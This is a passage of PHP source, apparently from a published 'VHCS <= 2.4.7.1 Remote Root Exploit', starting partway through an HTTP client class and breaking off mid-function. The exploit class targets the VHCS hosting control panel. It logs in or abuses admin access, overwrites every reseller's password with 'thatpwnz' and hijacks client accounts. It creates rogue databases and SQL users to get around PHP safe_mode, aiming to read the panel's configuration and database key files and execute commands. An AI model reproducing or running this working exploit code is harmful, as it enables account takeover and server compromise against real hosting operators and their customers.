		&nbsp;&nbsp;&nbsp;$this-&gt;boundary&nbsp;=&nbsp;$array[frmdt_boundary];

		foreach($array&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value)
		{
			if(!preg_match('#^frmdt_(boundary|url)#',$key))
			{
				$this-&gt;data&nbsp;.=&nbsp;str_repeat('-',29).$this-&gt;boundary.&quot;\r\n&quot;;
				$this-&gt;data&nbsp;.=&nbsp;'Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;'.$key.'&quot;;';
				
				if(!is_array($value))
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n\r\n&quot;.$value.&quot;\r\n&quot;;
				}
				else
				{
					$this-&gt;data&nbsp;.=&nbsp;'&nbsp;filename=&quot;'.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;

					if(isset($array[$key][frmdt_type]))
					&nbsp;&nbsp;&nbsp;$this-&gt;data&nbsp;.=&nbsp;'Content-Type:&nbsp;'.$array[$key][frmdt_type].&quot;\r\n&quot;;

					if(isset($array[$key][frmdt_transfert]))
					&nbsp;&nbsp;&nbsp;$this-&gt;data&nbsp;.=&nbsp;'Content-Transfer-Encoding:&nbsp;'.$array[$key][frmdt_transfert].&quot;\r\n&quot;;

					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n&quot;.$array[$key][frmdt_content].&quot;\r\n&quot;;
				}
			}
		}

		$this-&gt;data&nbsp;.=&nbsp;str_repeat('-',29).$this-&gt;boundary.&quot;--\r\n&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content
	&nbsp;*&nbsp;of&nbsp;the&nbsp;server&nbsp;response,&nbsp;without
	&nbsp;*&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;server_content
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent($this-&gt;get('http://localhost/'))
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getcontent($code='')
	{
		if(empty($code))
		&nbsp;&nbsp;&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;

		$code&nbsp;=&nbsp;explode(&quot;\r\n\r\n&quot;,$code);
		$this-&gt;server_content&nbsp;=&nbsp;'';
		
		for($i=1;$i&lt;count($code);$i++)
		&nbsp;&nbsp;&nbsp;$this-&gt;server_content&nbsp;.=&nbsp;$code[$i];

		return&nbsp;$this-&gt;server_content;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers
	&nbsp;*&nbsp;of&nbsp;the&nbsp;server&nbsp;response,&nbsp;without
	&nbsp;*&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;server_header
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent($this-&gt;post('http://localhost/','1=2'))
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getheader($code='')
	{
		if(empty($code))
		&nbsp;&nbsp;&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;

		$code&nbsp;=&nbsp;explode(&quot;\r\n\r\n&quot;,$code);
		$this-&gt;server_header&nbsp;=&nbsp;$code[0];
		
		return&nbsp;$this-&gt;server_header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;cookiejar()&nbsp;function.&nbsp;It&nbsp;adds&nbsp;the
	&nbsp;*&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header&nbsp;for&nbsp;the
	&nbsp;*&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to
	&nbsp;*&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@param&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getcookie()
	{
		foreach(explode(&quot;\r\n&quot;,$this-&gt;getheader())&nbsp;as&nbsp;$header)
		{
			if(preg_match('/set-cookie/i',$header))
			{
				$fequal&nbsp;=&nbsp;strpos($header,'=');
				$fvirgu&nbsp;=&nbsp;strpos($header,';');
				
				//&nbsp;12=strlen('set-cookie:&nbsp;')
				$cname&nbsp;&nbsp;=&nbsp;substr($header,12,$fequal-12);
				$cvalu&nbsp;&nbsp;=&nbsp;substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
				
				$this-&gt;cookie[trim($cname)]&nbsp;=&nbsp;trim($cvalu);
			}
		}
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;get()/post()&nbsp;functions.&nbsp;You
	&nbsp;*&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;private
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;urltarg&nbsp;Url
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;target('http://localhost/')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;target($urltarg)
	{
		if(!ereg('^http://',$urltarg))
		&nbsp;&nbsp;&nbsp;$urltarg&nbsp;=&nbsp;'http://'.$urltarg;
		&nbsp;&nbsp;&nbsp;
		$urlarr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;parse_url($urltarg);
		$this-&gt;url&nbsp;&nbsp;=&nbsp;'http://'.$urlarr['host'].$urlarr['path'];
		
		if(isset($urlarr['query']))
		&nbsp;&nbsp;&nbsp;$this-&gt;url&nbsp;.=&nbsp;'?'.$urlarr['query'];
		
		$this-&gt;port&nbsp;=&nbsp;!empty($urlarr['port'])&nbsp;?&nbsp;$urlarr['port']&nbsp;:&nbsp;80;
		$this-&gt;host&nbsp;=&nbsp;$urlarr['host'];
		
		if($this-&gt;port&nbsp;!=&nbsp;'80')
		&nbsp;&nbsp;&nbsp;$this-&gt;host&nbsp;.=&nbsp;':'.$this-&gt;port;

		if(!isset($urlarr['path'])&nbsp;or&nbsp;empty($urlarr['path']))
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;No&nbsp;path&nbsp;precised&quot;);

		$this-&gt;path&nbsp;=&nbsp;substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

		if($this-&gt;port&nbsp;&gt;&nbsp;65535)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,
	&nbsp;*&nbsp;the&nbsp;script&nbsp;will&nbsp;extract&nbsp;all
	&nbsp;*&nbsp;'Set-Cookie'&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add
	&nbsp;*&nbsp;them&nbsp;into&nbsp;the&nbsp;'Cookie'&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;code&nbsp;1(enabled)&nbsp;0(disabled)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;cookiejar(0)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;cookiejar(1)
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;cookiejar($code)
	{
		if($code=='0')
		&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar=FALSE;

		elseif($code=='1')
		&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar=TRUE;
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,
	&nbsp;*&nbsp;the&nbsp;script&nbsp;will&nbsp;follow&nbsp;all
	&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;code&nbsp;1(enabled)&nbsp;0(disabled)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;allowredirection(0)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;allowredirection(1)
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;allowredirection($code)
	{
		if($code=='0')
		&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection=FALSE;
		&nbsp;&nbsp;&nbsp;
		elseif($code=='1')
		&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection=TRUE;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;if
	&nbsp;*&nbsp;allowredirection()&nbsp;is&nbsp;enabled.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection)
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;get($this-&gt;last_redirection)
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;recv;
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getredirection()
	{
		if(preg_match('/(location|content-location|uri):&nbsp;(.*)/i',$this-&gt;getheader(),$codearr))
		{
			$this-&gt;last_redirection&nbsp;=&nbsp;trim($codearr[2]);
			
			if(!ereg('://',$this-&gt;last_redirection))
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);

			else
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;get($this-&gt;last_redirection);
		}
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;recv;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you
	&nbsp;*&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;func&nbsp;Param
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset('header')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset('cookie')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;'header':
			$this-&gt;header&nbsp;=&nbsp;array('');
			break;
				
			case&nbsp;'cookie':
			$this-&gt;cookie&nbsp;=&nbsp;array('');
			break;
				
			default:
			$this-&gt;cookiejar&nbsp;=&nbsp;'';
			$this-&gt;header&nbsp;=&nbsp;array('');
			$this-&gt;cookie&nbsp;=&nbsp;array('');
			$this-&gt;allowredirection&nbsp;=&nbsp;'';
			break;
		}
	}
}


class&nbsp;vhcs_xpl&nbsp;extends&nbsp;phpsploit
{
	var&nbsp;$sleep_time&nbsp;=&nbsp;4;

	#&nbsp;&nbsp;-rw-r--r--&nbsp;1&nbsp;root&nbsp;root
	var&nbsp;$conf_path&nbsp;=&nbsp;'/etc/vhcs2/vhcs2.conf';

	#&nbsp;-r--------&nbsp;1&nbsp;www-data&nbsp;www-data
	var&nbsp;$keys_path&nbsp;=&nbsp;'/var/www/vhcs2/gui/include/vhcs2-db-keys.php';

	var&nbsp;$head_arr&nbsp;=&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'admin/index.php'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;3,
	&nbsp;&nbsp;&nbsp;&nbsp;'reseller/index.php'&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;2,
	&nbsp;&nbsp;&nbsp;&nbsp;'../reseller/index.php'&nbsp;=&gt;&nbsp;2,
	&nbsp;&nbsp;&nbsp;&nbsp;'client/index.php'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;1,
	&nbsp;&nbsp;&nbsp;&nbsp;''	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;0);

	var&nbsp;$privileges&nbsp;=&nbsp;array(
	&nbsp;&nbsp;&nbsp;&nbsp;3&nbsp;=&gt;&nbsp;'Administrator',
	&nbsp;&nbsp;&nbsp;&nbsp;2&nbsp;=&gt;&nbsp;'Reseller',
	&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;=&gt;&nbsp;'Client');

	var&nbsp;$reg_arr&nbsp;=&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;=&gt;&nbsp;'#edit_reseller\.php\?edit_id=([0-9]+)&quot;&nbsp;class=&quot;link&quot;&gt;(.*)&nbsp;&lt;/a&gt;&nbsp;&lt;/td&gt;#i',
	&nbsp;&nbsp;&nbsp;&nbsp;2&nbsp;=&gt;&nbsp;'#edit_user.php\?edit_id=([0-9]+)&quot;&nbsp;class=&quot;link&quot;&gt;(.*)&lt;/a&gt;&lt;/td&gt;#i',
	&nbsp;&nbsp;&nbsp;&nbsp;3&nbsp;=&gt;&nbsp;'#delete_sql_database\.php\?id=([0-9]+)#i',
	&nbsp;&nbsp;&nbsp;&nbsp;4&nbsp;=&gt;&nbsp;'#delete_sql_database\.php\?id=([0-9]+)#i',
	&nbsp;&nbsp;&nbsp;&nbsp;5&nbsp;=&gt;&nbsp;'#sql_execute_query.php\?id=([0-9]+)#i');

	var&nbsp;$flags&nbsp;=&nbsp;array(
	&nbsp;&nbsp;&nbsp;-1&nbsp;=&gt;&nbsp;'-',
	&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;=&gt;&nbsp;'/',
	&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;=&gt;&nbsp;'+');

	function&nbsp;main()
	{
		$this-&gt;agent('Mozilla&nbsp;Firefox');
		$this-&gt;cookiejar(1);

		$this-&gt;mhead();

		$this-&gt;uri&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$this-&gt;getparam('url',&nbsp;TRUE);
		$this-&gt;url_arr&nbsp;&nbsp;=&nbsp;parse_url($this-&gt;uri);

		$this-&gt;patch&nbsp;=&nbsp;$this-&gt;getparam('patch');
		$this-&gt;proxh&nbsp;=&nbsp;$this-&gt;getparam('proxhost');
		$this-&gt;proxa&nbsp;=&nbsp;$this-&gt;getparam('proxauth');

		if($this-&gt;proxh)
		&nbsp;&nbsp;&nbsp;$this-&gt;proxy($this-&gt;proxh);

		if($this-&gt;proxa)
		&nbsp;&nbsp;&nbsp;$this-&gt;proxyauth($this-&gt;proxa);

		print&nbsp;&quot;\nExploit:&quot;;
		$this-&gt;type&nbsp;=&nbsp;$this-&gt;login();

		if(empty($this-&gt;type))
		{
			if(!$this-&gt;patch)
			{
				$this-&gt;msg('A&nbsp;patch&nbsp;has&nbsp;been&nbsp;applied&nbsp;to&nbsp;this&nbsp;website',&nbsp;-1);
				$this-&gt;msg(&quot;See&nbsp;RoMaNSoFt's&nbsp;advisory&nbsp;for&nbsp;more&nbsp;details&quot;,&nbsp;-1);
				$this-&gt;msg('Try&nbsp;with&nbsp;the&nbsp;-patch&nbsp;option',&nbsp;-1,&nbsp;1);
			}
			else
			&nbsp;&nbsp;&nbsp;$this-&gt;msg('Bad&nbsp;username/password',&nbsp;-1,&nbsp;1);
		}

		$this-&gt;msg(&quot;Logged&nbsp;in&nbsp;(&quot;.$this-&gt;usr.'&nbsp;-&nbsp;'.$this-&gt;privileges[$this-&gt;type].')',&nbsp;1);

		$this-&gt;allowredirection(1);

		$this-&gt;get_vhcs_conf();

		$this-&gt;exec_cmd();

		return;
	}


	function&nbsp;getparam($param,&nbsp;$nec=FALSE)
	{
		global&nbsp;$argv;

		foreach($argv&nbsp;as&nbsp;$value&nbsp;=&gt;&nbsp;$key)
		{
			if($key&nbsp;===&nbsp;'-'.$param)
			&nbsp;&nbsp;&nbsp;return&nbsp;$argv[$value+1];
		}

		if($nec)
		&nbsp;&nbsp;&nbsp;$this-&gt;usage();
		
		return&nbsp;FALSE;
	}

	function&nbsp;mhead()
	{
		print&nbsp;&quot;\n&nbsp;VHCS&nbsp;&lt;=&nbsp;2.4.7.1&nbsp;(vhcs2_daemon)&nbsp;Remote&nbsp;Root&nbsp;Exploit&quot;;
		print&nbsp;&quot;\n&nbsp;--------------------------------------------------\n&quot;;
		print&nbsp;&quot;\nAbout:&quot;;
		print&nbsp;&quot;\n&nbsp;by&nbsp;DarkFig&nbsp;&lt;&nbsp;gmdarkfig&nbsp;(at)&nbsp;gmail&nbsp;(dot)&nbsp;com&nbsp;&gt;&quot;;
		print&nbsp;&quot;\n&nbsp;http://acid-root.new.fr/&quot;;
		print&nbsp;&quot;\n&nbsp;#[email protected]&quot;;
		print&nbsp;&quot;\n&quot;;
	
		return;
	}
	
	function&nbsp;usage()
	{
		print&nbsp;&quot;\nUsage:&quot;;
		print&nbsp;&quot;\n&nbsp;vhcsxpl.php&nbsp;-url&nbsp;&lt;url&gt;&nbsp;[options...]\n&quot;;
		print&nbsp;&quot;\nOptions:&quot;;
		print&nbsp;&quot;\n&nbsp;-patch&nbsp;&lt;user:pwd&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unofficial&nbsp;patch&nbsp;applied&quot;;
		print&nbsp;&quot;\n&nbsp;-proxhost&nbsp;&lt;ip&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;you&nbsp;wanna&nbsp;use&nbsp;a&nbsp;proxy&quot;;
		print&nbsp;&quot;\n&nbsp;-proxauth&nbsp;&lt;usr:pwd&gt;&nbsp;&nbsp;&nbsp;Proxy&nbsp;with&nbsp;authentication\n&quot;;
		print&nbsp;&quot;\n&quot;;
	
		exit(1);
	}

	function&nbsp;log_as()
	{
		$this-&gt;msg(&quot;Trying&nbsp;to&nbsp;connect&nbsp;as&nbsp;&quot;.$this-&gt;usr.':'.$this-&gt;pwd,&nbsp;0);
		$this-&gt;allowredirection(1);

		$this-&gt;post($this-&gt;uri.'chk_login.php',
		'uname='.$this-&gt;usr.'&amp;upass='.$this-&gt;pwd.'&amp;Submit=+++Login+++');

		$this-&gt;redir_type&nbsp;=&nbsp;$this-&gt;get_type_by_redir();

		if($this-&gt;redir_type&nbsp;==&nbsp;0)
		&nbsp;&nbsp;&nbsp;$this-&gt;msg('Login&nbsp;attempt&nbsp;failed',&nbsp;-1);

		else
		&nbsp;&nbsp;&nbsp;$this-&gt;msg('Login&nbsp;successful',&nbsp;1);

		return&nbsp;$this-&gt;redir_type;
	}

	function&nbsp;get_type_by_redir()
	{
		$this-&gt;redir_arr&nbsp;=&nbsp;parse_url($this-&gt;last_redirection);
			
		$this-&gt;allowredirection(0);

		return&nbsp;$this-&gt;head_arr[$this-&gt;redir_arr['path']];
	}
	
	function&nbsp;login()
	{
		if($this-&gt;patch)
		{
			$this-&gt;idents&nbsp;=&nbsp;explode(':',&nbsp;$this-&gt;patch);
			list($this-&gt;usr,&nbsp;$this-&gt;pwd)&nbsp;=	$this-&gt;idents;

			$this-&gt;type&nbsp;=&nbsp;$this-&gt;log_as();

			return&nbsp;$this-&gt;log_as_user();
		}
		else
		{
			$this-&gt;get($this-&gt;uri.'admin/manage_users.php');

			$this-&gt;type&nbsp;=&nbsp;3;

			if(ereg('add_user\.php',&nbsp;$this-&gt;getcontent()))
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;log_as_user();

			else
			&nbsp;&nbsp;&nbsp;return&nbsp;0;
		}
	}

	function&nbsp;log_as_user()
	{
		if($this-&gt;type&nbsp;==&nbsp;3)
		&nbsp;&nbsp;&nbsp;$this-&gt;logged_as_admin();

		if($this-&gt;type&nbsp;==&nbsp;2)
		&nbsp;&nbsp;&nbsp;$this-&gt;logged_as_reseller();

		if($this-&gt;type&nbsp;==&nbsp;1)
		{
			if(!$this-&gt;patch)
			&nbsp;&nbsp;&nbsp;return&nbsp;1;

			else
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;valid_user();
		}

		else
		&nbsp;&nbsp;&nbsp;return&nbsp;0;
	}

	function&nbsp;valid_user()
	{
		if($this-&gt;write_code())
		{
			#&nbsp;open_basedir&nbsp;+&nbsp;safe_mode
			if($this-&gt;is_safe())
			{
				if($this-&gt;bypass_with_db())
				&nbsp;&nbsp;&nbsp;return&nbsp;1;

				else
				&nbsp;&nbsp;&nbsp;return&nbsp;0;
			}
			else
			&nbsp;&nbsp;&nbsp;return&nbsp;1;
		}
		return&nbsp;0;		
	}

	function&nbsp;logged_as_admin()
	{
		$this-&gt;msg('Logged&nbsp;in&nbsp;('.$this-&gt;privileges[3].')',&nbsp;1);

		$this-&gt;get($this-&gt;uri.'admin/manage_users.php');

		preg_match_all($this-&gt;reg_arr[1],&nbsp;$this-&gt;getcontent(),&nbsp;$resellers);

		$this-&gt;reseller_count&nbsp;=&nbsp;count($resellers[1]);

		$this-&gt;msg('The&nbsp;administrator&nbsp;has&nbsp;'.$this-&gt;reseller_count.'&nbsp;resellers',&nbsp;1);

		for($i=0;&nbsp;$i&lt;$this-&gt;reseller_count;&nbsp;$i++)
		{	
			$this-&gt;usr&nbsp;=&nbsp;$resellers[2][$i];
			$this-&gt;pwd&nbsp;=&nbsp;'thatpwnz';

			if(!$this-&gt;patch)
		&nbsp;&nbsp;&nbsp;	{
				$this-&gt;msg('Changing&nbsp;'.$resellers[2][$i].&quot;'s&nbsp;password&quot;,&nbsp;0);

				$this-&gt;reseller_dat&nbsp;=&nbsp;'';

				$this-&gt;get($this-&gt;uri.'admin/edit_reseller.php?edit_id='.$resellers[1][$i]);

				#&nbsp;only&nbsp;checked&nbsp;ip
				preg_match_all('#name=&quot;ip_([0-9]+)&quot;&nbsp;value=&quot;asgned&quot;&nbsp;checked#i',
				$this-&gt;getcontent(),&nbsp;$reseller_ips);

				$this-&gt;ip_count&nbsp;=&nbsp;count($reseller_ips[1]);
				$this-&gt;ip_dat&nbsp;=&nbsp;'';

				for($j=0;&nbsp;$j&lt;$this-&gt;ip_count;&nbsp;$j++)
				{
					$this-&gt;ip_dat&nbsp;.=&nbsp;'ip_'.$reseller_ips[1][$j].'=asgned';

		&nbsp;&nbsp;&nbsp;	&nbsp;		if($j&nbsp;!=&nbsp;$this-&gt;ip_count-1)
		&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;		&nbsp;&nbsp;&nbsp;$this-&gt;ip_dat&nbsp;.=&nbsp;'&amp;';
				}

				#&nbsp;Change&nbsp;reseller's&nbsp;password/mail
				#&nbsp;This&nbsp;is&nbsp;needed&nbsp;if&nbsp;it&nbsp;was&nbsp;run&nbsp;without&nbsp;-path
				#&nbsp;Because&nbsp;we&nbsp;can't&nbsp;click&nbsp;on&nbsp;the&nbsp;'Change'&nbsp;button.
				#
				#&nbsp;pwd:&nbsp;thatpwnz
				#&nbsp;mail:&nbsp;&lt;reseller_name&gt;@ohyeah.com
				#
				$this-&gt;post($this-&gt;uri.'admin/edit_reseller.php',
				'username='.$resellers[2][$i].'&amp;pass=thatpwnz&amp;'.
				'pass_rep=thatpwnz&amp;email='.$resellers[2][$i].''.
				'%40ohyeah.com&amp;nreseller_max_domain_cnt=0&amp;nres'.
				'eller_max_subdomain_cnt=0&amp;nreseller_max_alias'.
				'_cnt=0&amp;nreseller_max_mail_cnt=0&amp;nreseller_max'.
				'_ftp_cnt=0&amp;nreseller_max_sql_db_cnt=0&amp;nresell'.
				'er_max_sql_user_cnt=0&amp;nreseller_max_traffic=0'.
				'&amp;nreseller_max_disk=0&amp;'.$this-&gt;ip_dat.'&amp;custo'.
				'mer_id=&amp;fname=&amp;lname=&amp;firm=&amp;zip=&amp;city=&amp;countr'.
				'y=&amp;street1=&amp;street2=&amp;phone=&amp;fax=&amp;Submit=++Upd'.
				'ate++&amp;uaction=update_reseller&amp;edit_id='.
				$resellers[1][$i].'&amp;edit_username='.
				$resellers[2][$i]);

				if($this-&gt;log_as()&nbsp;!=&nbsp;2)
				&nbsp;&nbsp;&nbsp;return&nbsp;0;
			}
			else
			{
				$this-&gt;allowredirection(1);

				$this-&gt;get($this-&gt;uri.'admin/change_user_interface.php?to_id='.$resellers[1][$i]);

				if($this-&gt;get_type_by_redir()&nbsp;!=&nbsp;2)
				&nbsp;&nbsp;&nbsp;return&nbsp;0;
			}

			if($this-&gt;logged_as_reseller())
			&nbsp;&nbsp;&nbsp;return&nbsp;1;

			$this-&gt;reset('cookie');
			$this-&gt;get($this-&gt;uri.'reseller/change_user_interface.php?action=go_back');
		}

		return&nbsp;0;
	}

	function&nbsp;logged_as_reseller()
	{
		$this-&gt;get($this-&gt;uri.'reseller/users.php');

		preg_match_all($this-&gt;reg_arr[2],&nbsp;$this-&gt;getcontent(),&nbsp;$users);
		
		array_walk($users[2],&nbsp;'trim');
		
		$this-&gt;user_count&nbsp;=&nbsp;count($users[1]);
		
		$this-&gt;msg('The&nbsp;reseller&nbsp;has&nbsp;'.$this-&gt;user_count.&nbsp;'&nbsp;users',&nbsp;1);

		$this-&gt;patch&nbsp;=&nbsp;FALSE;

		for($i=0;&nbsp;$i&lt;$this-&gt;user_count;&nbsp;$i++)
		{
			if($this-&gt;is_alive($users[2][$i]))
			{
				$this-&gt;usr&nbsp;=&nbsp;$users[2][$i];

				$this-&gt;type&nbsp;=&nbsp;1;

				$this-&gt;msg('Host&nbsp;'.$this-&gt;usr.'&nbsp;is&nbsp;connected',&nbsp;1);

				$this-&gt;get($this-&gt;uri.'reseller/change_user_interface.php?to_id='.$users[1][$i]);

				if($this-&gt;valid_user())
				{
					$this-&gt;msg('Host&nbsp;'.$this-&gt;usr.'&nbsp;is&nbsp;a&nbsp;valid&nbsp;user',&nbsp;1);
					return&nbsp;TRUE;
				}
				else
				&nbsp;&nbsp;&nbsp;$this-&gt;msg(&quot;Host&nbsp;&quot;.$this-&gt;usr.&quot;&nbsp;isn't&nbsp;a&nbsp;valid&nbsp;user&quot;,&nbsp;0);
			}
			else
			&nbsp;&nbsp;&nbsp;$this-&gt;msg('Host&nbsp;'.$users[2][$i].'&nbsp;seems&nbsp;down',&nbsp;-1);

			$this-&gt;get($this-&gt;uri.'client/change_user_interface.php?action=go_back');
		}

		return&nbsp;FALSE;
	}

	function&nbsp;bypass_with_db()
	{
		$this-&gt;get($this-&gt;dmn_vhcs_url.'client/index.php');

		if(!ereg('manage_sql.php',&nbsp;$this-&gt;getcontent())&nbsp;and&nbsp;!$edit)
		{
			$this-&gt;msg(&quot;User&nbsp;&quot;.$this-&gt;ur.&quot;&nbsp;doesn't&nbsp;have&nbsp;SQL&nbsp;rights&quot;,&nbsp;-1);

			return&nbsp;FALSE;
		}
		
		#&nbsp;No&nbsp;database
		if(!$this-&gt;got_db())
		{
			$this-&gt;msg('Trying&nbsp;to&nbsp;create&nbsp;a&nbsp;database',&nbsp;0);

			$this-&gt;tmp_db_name&nbsp;=&nbsp;rand(0,100).'xpl_db'.rand(0,100);

			#&nbsp;Database:&nbsp;..xpl_db..
			$this-&gt;post($this-&gt;dmn_vhcs_url.'client/add_sql_database.php',
			'db_name='.$this-&gt;tmp_db_name.'&amp;id_pos=start&amp;Submit=++Add++&amp;'.
			'uaction=add_db');

			if($this-&gt;got_db())
			&nbsp;&nbsp;&nbsp;$this-&gt;msg('Database&nbsp;'.$this-&gt;tmp_db_name.'&nbsp;successfully&nbsp;created',&nbsp;1);

			else
			{
				$this-&gt;msg(&quot;Can't&nbsp;create&nbsp;the&nbsp;database&nbsp;&quot;.$this-&gt;tmp_db_name,&nbsp;0);

				return&nbsp;FALSE;
			}
		}

		#&nbsp;First&nbsp;database
		$this-&gt;db_id&nbsp;=&nbsp;$this-&gt;sql_db_ids[1];

		$this-&gt;msg('Using&nbsp;database&nbsp;id&nbsp;'.$this-&gt;db_id,&nbsp;1);

		if(!$this-&gt;got_db_user())
		{
			$this-&gt;msg('Trying&nbsp;to&nbsp;add&nbsp;SQL&nbsp;user',&nbsp;0);

			$this-&gt;tmp_db_user&nbsp;=&nbsp;rand(0,100).'xpl_usr'.rand(0,100);
			
			#&nbsp;SQL&nbsp;user:&nbsp;..xpl_usr..:xpl_pwd
